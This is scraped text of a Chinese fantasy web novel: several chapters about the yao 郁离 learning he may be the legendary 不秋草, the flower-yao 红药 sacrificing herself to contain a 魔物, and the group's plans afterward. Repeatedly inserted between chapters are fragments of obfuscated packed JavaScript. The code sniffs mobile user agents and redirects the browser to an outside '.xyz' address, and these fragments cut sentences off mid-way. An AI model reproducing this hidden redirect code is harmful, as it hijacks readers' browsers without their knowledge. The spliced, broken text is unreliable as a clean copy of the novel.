$(''#content'').append('' 看到了他身上一闪而过的重影,起了疑:“你是什么东西。” “不愧是以花草入道的妖,一眼便看出了问题。不错,我就是魔物,本也不想瞒你,怎么样,这下你该同意了吧。” 红药垂眸思索片刻,平静道:“好,我答应你。” …… 红药说到这里,顿了一下,眼神流漏出悲痛“我当然是骗它的,若若和小薪都是被魔物害死的。小薪那孩子心思深,怕是早就发现我不是人族了,他若想害我何必等到现在。若若又单纯,什么事情都写在脸上。他们是真拿我当姐姐,可是我这个姐姐无能啊,终究没能护得了他们。” 郁离推过去一杯热茶:“逝者已矣,他们并没有怪你。” 红药接过,继续道:“那魔物不知是不是太过自信,认为我不过是只不善战的花妖,竟丝毫没有怀疑我。它迫不及待褪去道士的躯壳,道士成了魔尸王,魔尸王又咬了还未咽气的县令。” “它告诉我,那道士的修为是用寿元换的,本就快死了,它一开始附身其上时,就存了将他转化成魔尸的心思。” 诸游挠头:“这魔物究竟想干什么。” “我知道的也不全。”红药叹气,“据它所说,它们已经控制了几个花妖,花妖一族利用香气影响人心神的能力能为它们扩大魔尸的感染范围和程度。” 常瀞疑惑:“妖族无法被魔物附身迷惑,它是怎么控制那些花妖的。” 红药摩挲着茶杯,苦笑:“我也是仗着自己知道这一点,才敢假意合作的。可谁知,它直接朝我洒了一把像是花粉的粉末,我闻到以后就开始昏昏沉沉。幸好那产出那花粉的花妖比我修为略低,我才慢慢清醒过来了。” 重寒酥轻声问:“那这没有脸的几个人是怎么回事。” 红药手指轻轻拂过芍药刺绣:“我昏昏沉沉的那段时光,魔物用那粉末放大了我的能力,它似乎不着急,说是可以满足我的一个愿望,我被它蛊惑,用花香控制了整个海平县,我想给婆婆、若若和小薪一个好的人生。抱歉,这点我无可辩驳,确实是我做错了。” “是不妥,好在没有伤害到海平县里的百姓。”郁离问到最要紧的问题,“魔物此刻在哪?” 红药指着心口,那里隐约亮起一个暗黑的光团:“在这里,我清醒后,想反制住它。你们也知道,魔物本身没有攻击手段,想趁它不备抓住它,其实很容易,找到盛放它的容器却很难。我太累了,没有办法走很远去求助了,只能将它压制在身体里,盼着施施来找我,将魔物带给能解决掉它的人。在等待的时间里,我又慢慢被它影响,有些分不清现实和虚妄。直到你们来,唤醒了我。” 红药控制着那一团黑光,缓缓抽离出体外,黑光在她手中不断涌动,想要逃离。终于,黑光被完全抽出,重寒酥赶忙取出一个上清境特制的透明瓶子将黑光装了进去。 黑光抽离的那一刻,红药的身子委顿下来,像朵枯败的花,她向郁离招手,声音虚弱:“你是妖族吧,你的气息很像我们妖族传说中的不秋草。我听魔物提起过要找不秋草,我问它想做什么它又不说,肯定不是什么好事。孩子,你一定不能被它们抓住。” 39. 红药(十一) “我是妖族,可我不是——”郁离惊然,他忽然想到他说自己是山鬼,是因为从他睁眼那一刻起,松爷爷就是那样告诉他的。在他离开碧影山后才了解到,山鬼其实只是一种守护深山的神灵,“我……我也不知道自己是什么。” 常瀞温热的手掌落在郁离肩上,他向红药问道:“能详细说说吗?我从未听说过不秋草。” “你们不是妖族,当然不可能听说过。”红药轻咳几声,警惕地看着另外几人,对郁离道,“我只能告诉你,其他人不能听。” 郁离下意识扫了一眼满是疑惑的三人,欠身道:“他们都是我可以信任的朋友。” 红药沉思片刻,退了一步:“那他们必须立誓,不能向外透漏一个字。” 三人纷纷立誓后,红药缓缓道:“不秋草只存在于妖族的口口相传中,传说在上古时期,有不秋草生于隐世深山中,其伴生灵物乃是灵丹妙药。无论什么妖,只要一息尚存,食之便可活。可以说,不秋草是我妖族至宝,是我妖族共同拱卫的王。” 褚游听呆了,他实在难以相信,嘟囔了几句:“真的假的啊,还有口气就能救回来,说这么玄乎。” 红药听见,硬生生支起身子,原本虚弱涣散的眼中竟又染上几分厉色:“不许你这么说。” 吓得褚游急忙道歉:“姐姐你快躺下吧,我错了我错了。” “真是不好意思啊,他就是嘴快,没有恶意的。”重寒酥拍了一下褚游的胳膊,对红药歉然一笑,“听你的意思,这不秋草现如今已经不存在了?” 红药叹气:“是的,不秋草一代只有一棵,上古时期魔物之战过后,不秋草就消失了,再也没有在妖族的视线中出现过。” 又是上古时期,常瀞蹙眉:“那不秋草是何模样。” “其状如竹。” 能治病救人,形貌像竹子,难道他真的是不秋草?至于失踪已久,郁离瞬间便联想到了那座结界,如此封闭,还能有什么消息流传出去。究竟是何人将他带到了碧影山,还设下了那座结界?松爷爷知不知道他是不秋草?若是知道,又为何不告诉他? 一个个问题在郁离心头闪过,恍惚间,郁离又想起什么,掩藏在面具下的脸瞬间失色。果然,常瀞还搭在他肩头的手变得紧了几分。 “喔。”常瀞的声音响起,带着几分刻意到极点的漫不经心,“红药姐都说这么明白了,你的本体像竹子吗,从没听你提起过。” 明明额角有一滴冷汗淌下,郁离的声线仍四平八稳:“可能是吧。” 常瀞不依不饶:“可能?你变回本体不就知道了?” 不等郁离回答,这一次诸游意外的靠谱,他主动将郁离从常瀞的魔爪下解救出来,揽着他后退几步,郁离不久前和常瀞出趟门再回来后失魂落魄的样子他还没忘呢。于是他顺口胡诌:“不知道问妖族本体很不礼貌吗?你这跟光天化日之下让我们阿离脱光了衣服给你看看有什么区别?” 常瀞:“……” 常瀞差点儿气笑了,他当即便向在场的另一只妖——红药询问:“是这样吗?” 红药没看明白这个混乱的局面,但是她坚定地站在郁离那边:“是很不礼貌。” 都这样了,那常瀞还能说什么,只能假模假式地向郁离道了个歉。 红药一连串的咳嗽让各怀心思的几人将注意力重新转移回了她身上。郁离看着她迅速苍白下去的脸色,伸手去探她的脉象。 这一探,让他心一沉:“你……” 红药摇摇头,笑着道:“我在决定以身为锁困住魔物的那一刻便已经想到了,我不后悔。” 诸游反应过来,扑到床边:“你再撑一撑,明日就是这个月十五了,施娘就能来了。” “我可能等不到啦。”红药还是笑着,“从前都是她挡在我前面,这一次我也挡在了海平县所有人的前面,她会为我骄傲的。” 郁离拉上常瀞的袖子:“上清境有没有什么灵丹妙药。” 常瀞无声地叹了一口气:“她困住魔物用的是生命力,什么灵丹妙药都没用。” 重寒酥忽然插了一句:“那不秋草呢?” 郁离猛地松开常瀞的衣袖,神色惶然,生死关头他顾不得再掩饰:“我……我死过一次,已经没有救人的能力了。” “你怎么死……喔对了你和施施一样……”红药拉过郁离的手,“是妖族没有保护好你,不过消失了也好,消失了……魔物就惦记不成了。” 恐怕不是的。郁离将红药的警告同他在碧影山中的遭遇联系在一起,悲哀地想,魔物很可能已经得到了一部分他的伴生灵。 红药拍拍他的手:“好啦,我恍恍惚惚的时候……看到你们把若若和小薪埋在山上了,你们选的地方挺好……把我也埋在那吧。” 红药最后很用力地向他们笑了一下,脸上描画完好的红色芍药被她苍白的脸色衬得无比明艳。她的身影渐渐淡去,床上只留下了一枝枯萎的芍药。 夜幕降临,他们留在红药家休息,等施娘明日赶来。 又是一个郁离辗转反侧,难以入睡的夜晚,红药的话反反复复在心头萦绕。翻来覆去间,他想到一个人,不,一只鼠,他还可以和小灰聊聊。 他披上衣裳,鬼鬼祟祟推门而出,目标是红药家的伙房。 伙房里还有几尾活鱼,他挑了一条最大的,开膛破肚刮鳞抹调料一气呵成,在后院生了一堆火,开始烤鱼。 郁离从袖中掏出一团黑球,轻轻放在一旁的石头上。火上架着的鱼开始散发出香味,他摇着扇子,让香气朝石头上的黑球飘去。 慢慢地,黑球上竖起一个尖尖的小角,小角抽动了几下,那是鼠爷的鼻子。鼠爷活动了一下睡僵硬的四肢,贼溜溜的小眼睛还没完全睁开,抱住鱼就开始啃,啃了一口,他睁眼确认了一下旁边的人影是郁离,才又放心胆大地开吃。 鼠爷把几乎和他一样长的鱼啃干净,摊开圆滚滚的肚皮:“这鱼不错,挺鲜。” 郁离安静等他吃完才悠悠开口:“能不鲜吗,咱们在海边呢。” 鼠爷掰掉一根鱼刺剔牙,嘴里嘟嘟囔囔:“跑挺远,说吧,把本大爷叫醒什么事?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14480236|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 郁离话到嘴边,不知从何处开始讲起,于是他先问了一个问题:“你知道不秋草吗?” “知道啊,咱们妖族哪个不知道不秋草。”鼠爷继续剔牙,一颗孜然粒恰好卡进他的门牙缝里,他满不在乎道,“怎么?有人跟你说找着了?我跟你说绝对不能信。你是在山里困了太久不清楚,我当年称霸一方的时候,经常有小妖神秘兮兮地说有不秋草的消息,全是骗人的!那棵草在传说里都失踪多少年了。” 郁离指着自己:“我大概就是不秋草。” 鼠爷剔牙的动作顿了一下,没当回事:“放屁!” 郁离目光诚恳:“你回忆一下,不秋草的传闻。” 鼠爷不屑一顾,不秋草失踪的消息在他的思想中已然根深蒂固。但是为了更好地反驳郁离,他还是努力从充斥着各类美食的记忆里挖出了有关不秋草的信息。 不秋草长得……长得像什么来着?好像是竹子。竹子!他的眼神开始正经起来,同时又挖出了更多的信息。记得他最初逃进碧影山时伤很重,就是被这小鬼救活的,那个花孔雀也是。 “不会吧不会吧,你骗我,你是不秋草你怎么从前不告诉我!”鼠爷的眼神炽热起来,扶着圆滚滚的肚子围着他转了几圈,“防着我?咱们都是妖啊!妖族永远不会伤害不秋草。” 郁离被鼠爷的架势逗乐了:“我也才知道的,我一直困在山里,听谁说去。” 鼠爷一拍脑门儿:“对哦,那这回是谁说的。” “遇见了一只花妖,她说感觉我的气息有些像。” “花妖,难怪了。你们花花草草本就同源,和我们耗子、猫啊的又不一样。我记得在传说里,不秋草的身侧就有很多花妖、树妖、藤妖那些妖们的守护,花妖能认出来不秋草兴许还真不奇怪。” “不过确实挺离奇的,我离开碧影山这么些年,这才知道自己是个什么妖,天知道我一直当自己是竹子成精。” “那些花草树木吸收灵气成妖的本就不爱挪窝,你成日在‘妙笔’也大门不出二门不迈的。”鼠爷跳上郁离肩头感慨,“这太神奇了,本大爷我还能有蹲在不秋草肩上的一天。” 郁离微笑不语。 鼠爷戳戳他的耳垂:“诶,你说我还能和从前一样对你呼来喝去的吗?你如今的地位可不一般了,妖族那些大妖王见了你,怕是都得低声下气。” 郁离摸摸他圆乎乎的脑袋;“小灰你要是能做到我也不反对。” 鼠爷想了想道:“休想!还有,别叫本大爷那个名字!” 玩闹止息,郁离跟鼠爷讲了来海平县发生的事情,细说了魔物寻找不秋草和他们当年在碧影山的遭遇之间可能存在某种联系,不好的联系。 鼠爷把他的几层下巴捏了又捏,斩钉截铁道:“还没发生的事儿就先不想了,有本大爷在,谁也伤不了你。” 郁离无奈一笑,他就知道,找小灰也不靠谱。不过后半句他是相信的,鼠爷一定会保护他,挡在他前面。 “二位大半夜不睡觉,在这儿干什么呢?”一道声音在背后幽幽响起。 40. 红药(十二) 装逼成功的鼠爷本想再说几句,进一步巩固一下自己在郁离心中的地位,没成想被骤然出现的常瀞吓得脚底一滑,险些从郁离肩膀上摔下去。多亏郁离眼疾手快托了鼠爷一把,才避免悲剧发生。 鼠爷气势十足地蹦起来叫骂:“有病啊!大半夜的吓人,啊不吓妖干什么!” 常瀞撇嘴,云淡风轻道:“怪我咯。” “你!” 郁离习惯了打圆场:“好了好了,别把褚大哥和春神大人吵起来了。” 常瀞打开扇子摇了摇,也不嫌夜里凉:“他俩啊,我来这边的时候可看了,俩人一个可都不在房里呢。” “啊?他们人呢?” “谁知道呢,不管他们。倒是你,我离很远就听你们窸窸窣窣的,聊什么呢?” 郁离避开他的目光,将锅甩给鼠爷:“他刚才醒喊饿,我给他弄点吃的。” 鼠爷小小的眼睛瞪大了一圈,明明他是被叫醒的那个!好啊,这小鬼一肚子坏水快赶上他了。 常瀞一脸怀疑,根本不信。他撩起袍角,掏出个软垫坐在郁离身旁,然后大手一挥按住郁离的衣摆,大有一副郁离不说,他便不让他离开的意思。 支起的火堆还在燃烧,发出“噼啪噼啪”的声音。郁离在身上掏了掏,又神奇地摸出几个红薯放在火堆旁。烤红薯的香气慢慢散开,郁离坐在暖洋洋的火堆前,身侧还有常瀞和小灰相伴,在这个普普通通的夜晚,他好似回到了三百年前的碧影山。 也是他们三个,围着一小堆火,常瀞赖叽叽倚在他身上,鼠爷在咔嚓咔嚓啃着什么。彼时没有生离,没有死别,也没有后来无数个难眠夜里临窗枯坐望见的月明千里,这只是他漫长岁月中的一小段碎片,却一直在熠熠生辉,支撑着他走到今日。 郁离失了遮掩的心思,反正常瀞也认出他了,什么都避着他也是多余,只要最后那层窗户纸还未捅破便好:“我们在聊不秋草。” 常瀞猜到几分他们在说这个,也没太惊讶。 可谁曾想他这边还没开口呢,鼠爷又蹦起来了。 鼠爷一下窜起可高,落下的时候,带着郁离的肩膀都沉了下去:“你怎么能跟他说不秋草!你别拦我啊,他这回可必须得死!” 说着,鼠爷高高跃起,举起郁离精心为他打磨过的爪尖,就朝着常瀞脸上招呼。 鼠爷的暴起太突然了,他们又挨得近,郁离惊慌之下只来得及拽住鼠爷的尾巴尖。鼠爷前扑的动作一顿,爪子堪堪在常瀞脸上留下一道血痕。 郁离倒吸一口凉气:“这这这到底怎么了。” 鼠爷被拎住尾巴,在空中无助地兜了几圈才稳住身形,他还在吱哇乱叫:“小鬼你别糊涂,这是咱们全妖族的共识,知道不秋草秘密的人都得死。” 常瀞完全没把鼠爷的威胁当回事,甚至反过来威胁鼠爷,他匆忙拿出面小镜子检查脸上的伤势:“还好没破相。疯了!你要是把我脸抓破了,我就用你煮一锅汤喂猫!” “你!” “怎么!而且现在不止我知道不秋草,寒酥褚游也知道了,你区区一只鼠,不,咳咳,一只妖,还想杀我们三个?” 鼠爷惊恐地望向郁离,询问常瀞话里的真假。郁离看出鼠爷此刻的态度是从未有过的严肃,先将他捧在手里,确保他不能又暴起伤人,才认真解释了这件事的原委。 “你真是胆子大,那么信任他们,罢了罢了。”鼠爷一屁股跌坐在他手里,怒气冲冲瞪了几眼常瀞。 常瀞收起镜子,屈指狠狠弹了一下鼠爷才消气:“至于这么谨慎吗?” 鼠爷长叹一声,声音变得沧桑了些许:“你还问我们为何如此谨慎,你们低估了人性的恶啊。传说中不秋草在很早的时候和普通妖族一样,是不避人的,偶尔遇见了森林里受重伤的人也会施救。直到有一次,他救了一个在森林里迷路摔断了腿的孩子,那孩子在大人面前说漏嘴了不秋草的神力,大人心思恶毒,他意识到了不秋草可以创造的财富和权力,带着一队修士在森林里找了几天几夜,最后将一个同伙砍成重伤钓不秋草现身,抓走了他。” 郁离眼神直愣愣的:“然后呢。” “是妖族幸运,成功在他们离开森林前救回了不秋草。妖族杀光了那一队人,带着他躲到更偏僻的深山里疗伤,并且立誓,从此不再让不秋草暴露在人族的视线中。” 常瀞却觉得有地方不对:“听你这意思,你们妖族不也相当于换了种柔和的方式将不秋草软禁起来了吗?” “这怎么能一样,不秋草和其他妖族不同,他是汲取天地灵气而生,他一生只结九百九十九颗伴生灵物,灵物尽,不秋草亡,而后要历经百年才会长出下一株。而且只要不秋草活着,全妖族能吸收到的灵气都会变得充沛,妖族疼他都来不及,不到万不得已是不会求取伴生灵物的。你们人族呢!卑鄙无耻!抓他只是为了利益!” 郁离惊讶道:“你知道这么多呢。” “那是,怎么说我也在妖界混了好些年,自然比那背井离乡的小花妖知道的多。”鼠爷被夸得飘飘然,而后又反应过来,立刻隔空向常瀞挥了几拳,“你少打岔,我正敲打他呢。你这么信任他,等你被他卖了,有你哭得时候。” 常瀞这回一反常态没有和鼠爷斗嘴,郑重道:“我会保护他的。” 鼠爷小声嘟囔:“哼,花言巧语谁不会说,以前说得那么好听,还不是……” “好啦,我已经没有那种能力了,不会有人来抓我。”郁离捋捋鼠爷糙糙硬硬的毛,起身锤了锤有些发僵的腿,“星君,回去歇歇吧,天快亮了。” 常瀞仰头拽住郁离的衣袖,清澈的眼眸中映出天上的一轮圆月:“你信我吗?” 郁离轻轻颔首:“信的。” 从前碧影山里的小山鬼相信常瀞会带他去山外的世界,如今鸡鸣巷里的小巷主也相信常瀞会保护他。 一个时辰前。 重寒酥也没睡着,不过红药的小屋不比在县令府,坐在屋顶上散心可就太扎眼了。他思考片刻,决定出去走走,虽然半夜在大街上散步也听起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502435|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也挺神经。 他悄悄推开小院的栅栏,紧接着就被褚游逮了个正着。褚游神出鬼没,拍拍他的肩膀:“带我一个。” 夜里海平县的街面上不点灯,好在头顶的月亮又圆又亮,借着这点月光勉强能将周围的景致看个七七八八。 重寒酥漫无目的地走着,他不说话,褚游也不吭声。他心里依旧有些乱,为了转移注意,他开始猜测那零星几户的灯火为何未熄,或许是在挑灯夜读,亦或是为晚归的亲人留灯? 两人一前一后,沉默着不知走出多远,褚游看着月亮忽然想起儿时听过的一个故事:“你听没听过一个传说,在天上的月宫里住着月亮仙女,每月逢十五仙女会留一个假月亮挂在天上,然后把真月亮摘下来放在海里清洗,如果有人能从海里把月亮偷偷捞走,就可以要求月亮仙女为他实现一个愿望。小时候我经常和小伙伴一起趁着夜色去海边玩捞月亮的游戏。” 重寒酥冷脸:“据我所知月宫里没有月亮仙女,月宫里只住了一个常瀞。” 褚游呆住,想象了一下常瀞翘着兰花指唱着歌谣在海里洗月亮的样子,一阵恶寒。天塌了,地陷了,童年的美好回忆全碎了。 重寒酥瞄见褚游一脸呆滞,语气放缓:“怎么想起这个了。” “就是瞧见今夜天上连朵云都没有,风又这么静,海边一定很美。”褚游摸摸鼻子。 重寒酥没再接话,街面上又安静下来,走出去好几步,他才迟疑着开口:“要去看看吗?” “你要和我一起吗?”褚游眼睛亮起来,“不用勉强。” “……走吧。” 今夜的海边果然如褚游所说,很美。一轮圆月被点点星子萦绕,洒下淡淡清辉。清辉映在海面上,波光粼粼,泛起细碎的金色光点。 褚游像是真的想念童年,已经兴奋地脱了鞋子跑进水浅的地方玩了起来。重寒酥静静地站在离水很远的地方看他玩,摆脱噩梦后,他对大海的恐惧其实没有完全消失,只是不那么强烈了。 褚游依依不舍地跑回来,若不是他怕满身的伤吓着重寒酥,非得下水游上几个来回。他兴高采烈地邀请重寒酥:“下来试试吧,水不凉的。你看,像我这样,把鞋脱了,裤腿挽起来,布料沾不到水就不会贴在身上,不会有沉重的感觉。” 或许是褚游的喜悦感染了他,重寒酥真的慢吞吞下了水。褚游牵起他的手,小心向水里走了几步,等重寒酥适应。 他没骗人,水并不凉,这次光脚接触到海水的感觉与那次完全不同,海水一波一波轻柔地抚上脚踝,重寒酥放下紧紧吊起的心,步子大起来。他渐渐感受到了一些乐趣,主动引着褚游往更深一点的水里走去。 忽然,重寒酥的手一空,刺骨的冷意好像在那一刻又顺着海水攀上了他脚踝,他茫然地回头找褚游。 只见褚游弯腰从海里掬起了一捧海水,一个小小的月亮浮在上面,他把手心举到重寒酥面前,弯起眼睛:“看!我捞上了真月亮!我的愿望是,春神大人从此夜夜好梦,平安喜乐。” 41. 阴云(一) 第二日一早,天还未大亮,施娘一身白衣,踏着清晨的露水来到了海平县。她一路行色匆匆,进了县城大门便径直向南边走去。 在红药家门前的小道上,施娘匆忙的脚步渐渐放缓,她推开小院的栅栏,手掌抚过满是风吹雨打痕迹的石桌。许多许多年以前,在这张石桌上,一壶酒,一只白切鸡,再有几个佐酒的小菜,便够她和红药闲谈至深夜。 施娘走到那片开得正好的芍药花前,拿起水壶仔细浇过水,才推门进屋。她脸色苍白,面纱也换成了白色,语气里仍带着平日的笑意:“怎么啦,送旧友最后一程,还穿着红衣总不合适。” 郁离起身,但踟蹰不前:“施姐姐,对不起……” 褚游垂头:“都怪我们,发现的太晚了。” “好啦,不怪你们,事情的经过我都知道了。”施娘摸摸郁离的头,又轻轻给了褚游一拳,“红药她,做得很棒,你们跟我一起送送她吧。” 施娘小心翼翼地捧起红药床上留下的那枝花,将它装在了一个精巧的红色盒子里。她抱着盒子问重寒酥:“春神大人,可否帮帮我,帮我把院子里的那片芍药花移一些到红药的坟前。” “好。” 他们带着施娘来到了前几日埋葬蒲薪蒲若的山上,施娘扫去那两个小小坟包上的落叶和浮土:“郑婆婆死后,她一直孤身一人住在海平县。妖族的年龄改变不明显,住上十来年她就会离开海平县到附近的山上沉睡闭关,直到县里住在她附近的人换上一波,她才回去。她六亲缘浅,我在鸡鸣巷没办法经常陪她,所以当我听到她捡了这两个乖孩子的时候,很是为她开心,就是没想到啊……” 郁离点起三根香插在坟前:“红药把他们带的很好。” 施娘没让他们帮忙,一个人在那两座坟包旁挖了个坑。她在坑底铺满红色花瓣,然后轻轻将盒子放在花瓣上,填上土。她没有为红药立碑,也没有留坟包,只是在重寒酥的帮助下在上面种了一小片芍药花。 重寒酥祭出法器,迎春亮起暖融融的光,那一小片被移植过来、略显萎靡不振的芍药立时生机勃□□来。 “走吧。”施娘拍净手上的土,最后看了一眼那些花,转身离开。 在她身后,大片红色芍药在初升日光的照耀下,舒展花叶,随风轻轻摇摆,仿佛在催促太阳快些爬上来,好让阳光为施娘素白的衣角染上金红的色彩。 海平县内的一间茶馆里,重寒酥放下茶杯,捅捅常瀞的胳膊,小声道:“海平县抓住的魔物还得送去北境冰原封印呢,你跟我一起吗,还是……” 常瀞看向坐在对面安安静静捧着一杯茶的郁离,心中天人交战,他不想就这么离开,但又害怕把郁离逼得太急:“我想想……” 重寒酥无暇顾及他的柔肠百转,一心只想完成任务回上清境打理他的种在地里的宝贝们,他无情催促:“那你快想。” 常瀞:“……”看清了,咱俩的交情也没那么深。 店内的串着的贝壳门帘被掀开,发出清脆的声响。 有两个人风尘仆仆走了进来,其中一人背着个不小的行囊,肩后插着一个小黄旗,上书“灵丹妙药,预购从速”,他累得气喘吁吁,嘴里念念叨叨:“我有经验,这身行头,这一把胡子,一看便是个靠谱的江湖郎中,这样才有人会买我的丹药。” 走在他身后那人则轻装上阵,只在腰间跨了一个小包,他一脸无奈:“可这一路上也没人买呀,一般人都不会相信能练出灵丹妙药的人,会把自己搞这样狼狈吧。” “那是他们都没眼光,总会有慧眼识珠的人。”山旭放下他鼓鼓囊囊的行囊,夸张地大喘气,在看清角落里那一桌人时,他的眼睛亮了起来,激动地嚷道;“嘿!这不是帮我修炉子的小兄弟吗!” 那一桌人下意识全都扭头看向声音的来源,常瀞和山旭几乎异口同声道:“你们怎么在这里?!” 姬润帮着山旭哼哧哼哧将行囊挪到常瀞这桌上,讲起他们这一趟惊心动魄的收药材之旅。 前段时间,常瀞重寒酥接了任务离开上清境后,山旭绑了姬润和他一起去凡间收药。他性格古怪,终日把钱和暴富二字挂在嘴边,上清境里很多人不理解他人在上清境,还不把修炼当回事儿,反而快钻进钱眼儿里的离谱行为,因此不太爱和他打交道。 爱不爱同他打交道,山旭不在意,可是他有到凡间收药材的需求啊。他山旭讲好听点儿,上清境炼丹他称第二,没人敢称第一,讲难听点儿,他炼丹再厉害,也就只能炼个丹。他手无缚鸡之力,哪怕是在凡间,随便来个人也都能把他撂倒了,于是乎他就瞄上了上清境里同样对炼丹颇有兴趣的姬润。 山旭以为,姬润此人,热爱医术,房间内堆满了医书,可见是个心性单纯之人。而后,他精通阵术,虽说比不上谢榕,但也足以让他在凡间来去自如,顺带再保护保护他了。 因此他去凡间收药材,都会软磨硬泡求着姬润也跟他一起,反正姬润病弱也会自医,可以顺便跟他一起收收药材,简直双赢好吗? 他们先来到西域的一个小国,那里盛产一种只长在沙漠里的药材。他和姬润挨家挨户,货比三家,好不容易才以较低的价格,收够了成色不错的药材。在他们准备动身去中原时,出事了。 冲天的魔气不知从何而来,浓郁的连他一个上清境的半吊子都能识别出来。就在那一个偏僻的小村落里,冒出来了几具魔尸王。小村落都是靠种地为生的凡人,没有修士的帮助,姬润还要顾着他,顷刻间,小半个村的村民都化做了魔尸。 姬润见此惨状明白靠他们俩已经无力回天,只能起阵将整个村子困在其中,起码不能让魔尸跑出去,波及到更大的范围。这一次三元鉴的感知似乎有些迟钝,上清境的增援来得没有想象中快,等玄元道君谢榕赶到时,大半个村的村民都已经成了魔尸。 多亏姬润反应及时,在大阵之中又嵌套了十几个小阵,才能在和谢榕肃清全部魔尸后,保下一小半村民。 山旭很自然地拿过桌上的茶壶,为自己倒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14517410|150824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满满一大杯灌下去:“你不知道,当时有多可怕,那魔尸摇摇晃晃地就冲我扑过来,要不是姬润在,我这条小命可就丢到那儿了。” 常瀞没心思关心山旭的小命,问姬润:“那村子里有没有找到魔物?” 姬润捧着暖炉摇头:“只有魔尸。山旭吓得不敢在那呆了,我们留了些丹药给村民便先行离开,道君还留在村子里做最后的搜查。” “这年头魔物也成大白菜了吗?虞府、海平县、再加上西域那个村子,都有它们。”诸游感慨。 郁离抢出来最后一杯茶端给鼠爷:“你们确定上清境在北境冰原的封印没有松动吗?” 常瀞肯定道:“封印没有问题,至于魔物活动为何如此频繁,必定和它们寻找的花妖和不秋草有关,还是得继续查下去。” 重寒酥看着已经空下去的茶壶,将茶点也一并推给山旭:“那你们还不回上清境,怎么又来了这儿?” 山旭毫不客气抓起茶点就吃,想着今日这顿早饭是可以省下了,他眉开眼笑道:“那我抓住姬润陪我下来一次容易吗?药材还没收完,岂能轻易打道回府。你别小瞧这海平县呐,我每次需要珍珠母都来这儿。你们呢?又怎么在这儿。” “自然也是因为魔物。” “什么!”西域那个村子的惨状给山旭留下了巨大的难以磨灭的阴影,他现在听见魔物、魔尸这些字眼就后背发凉,“那那那看样子你们已经解决了吧。” “自然。”重寒酥讲述完他们这边的经历,把山旭听听连连称奇,在听到海平县只出现了两具魔尸,且一直被关在地下没能跑出来祸害人后,表达了由衷的羡慕。 “要是那个村子也能有和海平县一样的运气就好了。”山旭把茶点盘中的最后一点碎屑吃干净,好奇道:“你们抓到的魔物呢,能不能让我瞧瞧,我这一向醉心炼丹的,都不知道魔物长什么样子。” 施娘在一旁听到这儿,也满眼好奇地凑过来。 重寒酥想了想,取出玻璃瓶,里面浮着着一团不断散发出邪恶气息的黑光。 “这看起来也没什么特别的。”山旭端详半晌,想到一个主意,“它这么安静是睡着吗?把它弄醒,有什么疑惑拷问拷问它不就行了。” 常瀞冲他翻了个白眼:“你一天真是光炼丹了。还它睡着了?!它这么安静才不是睡着,或许跟红药压制它有关吧。而且就算把它弄清醒了,魔物惯会花言巧语,说出来的话那能信吗?” 山旭这一趟长了很多见识,讪笑着不敢再自作聪明了。 就在此时,茶馆里扑腾着飞进来一只传信纸鸟落在他们桌上。纸鸟站定,叭叭张嘴开始传话,是谢榕的声音。 “星君,我在西域一个村子追查魔尸的来源,源头没还查到,附近的一个村子又出了魔尸。幸运的是,这次我控制及时没有酿成大祸。在这个村子里,我抓住了魔物,现在准备前往北境冰原封印它。根据我的调查,西域可能还藏着魔物,你那边任务若是结束了,速来西域继续追查吧。” 42. 阴云(二) 死寂,一片死寂。 褚游哀嚎:“是不是魔物要打过来了。” 重寒酥一巴掌抽在他胳膊上:“别乌鸦嘴。” 褚游:“喔。” 常瀞干巴巴开口,看着身边这一大桌子人:“那我要一个人去吗?有没有好心人,跟我一道。” “我可不行,你就算带上我也是个累赘。”山旭手脚利索,一边说着,一边扛起行囊就准备开溜,完全看不出他方才进茶馆时气喘如牛的样子,“告辞,我在海平县收完药材就直接回上清境了,姬润可以留给你。” 山旭溜得飞快。姬润想喊他没喊住,无奈一笑,坐回桌边。 重寒酥跟在山旭后脚起身,走之前他满眼怜悯地拍了拍常瀞的肩膀:“我还得去北境冰原送魔物去封印,那边结束了,看情况再去找你。” 施娘带着褚游和郁离也站起来,礼貌向常瀞行礼:“红药的事情多谢星君帮忙了,既然此间事毕,我们也该回鸡鸣巷了。” 郁离觉得此刻是个绝佳的开溜机会,他偷偷摸摸隐在施娘身后,待施娘行过礼,抬脚就跟着走,可是这一步迈出,没迈动,衣袖被人扯住了。他低头一看,果然是常瀞。 郁离:“……” 郁离:“星君,该松手了。” “不松,松了你就跑了。” “……我就回鸡鸣巷,还能往哪跑。” “我不松!你忍心吗?忍心我孤零零地面对凶残可怕的魔物。” “不是还有这位姬上仙陪你。”郁离刻意不去看常瀞,常瀞最近这个黏糊劲儿,总让他觉得像是又回到碧影山里。他怕常瀞再多说几句,他就得破功了。 常瀞眼珠一转,在桌下干净利落地给了姬润一脚。 